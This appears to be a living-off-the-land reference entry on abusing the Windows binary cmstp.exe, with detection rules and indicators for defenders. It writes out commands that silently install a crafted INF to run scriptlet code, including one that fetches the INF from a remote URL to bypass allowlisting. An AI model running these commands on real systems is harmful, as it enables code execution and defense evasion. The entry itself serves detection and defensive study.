.. /Cmstp.exe

Execute (INF) AWL bypass (INF)

Installs or removes a Connection Manager service profile.

Paths:
C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe

Resources:

- https://twitter.com/NickTyrer/status/958450014111633408
- https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
- https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
- https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
- https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp

Acknowledgements:

- Oddvar Moe (@oddvarmoe)
- Nick Tyrer (@NickTyrer)

Detections:

- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml
- Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml
- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
- IOC: Execution of cmstp.exe without a VPN use case is suspicious
- IOC: DotNet CLR libraries loaded into cmstp.exe
- IOC: DotNet CLR Usage Log - cmstp.exe.log

Execute

Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

```
cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
```

Use case:	Execute code hidden within an inf file. Download and run scriptlets from internet.
Privileges required:	User
Operating systems:	Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1218.003
Tags:	Input: INF

AWL bypass

Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

```
cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
```

Use case:	Execute code hidden within an inf file. Execute code directly from Internet.
Privileges required:	User
Operating systems:	Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK® technique:	T1218.003
Tags:	Input: INF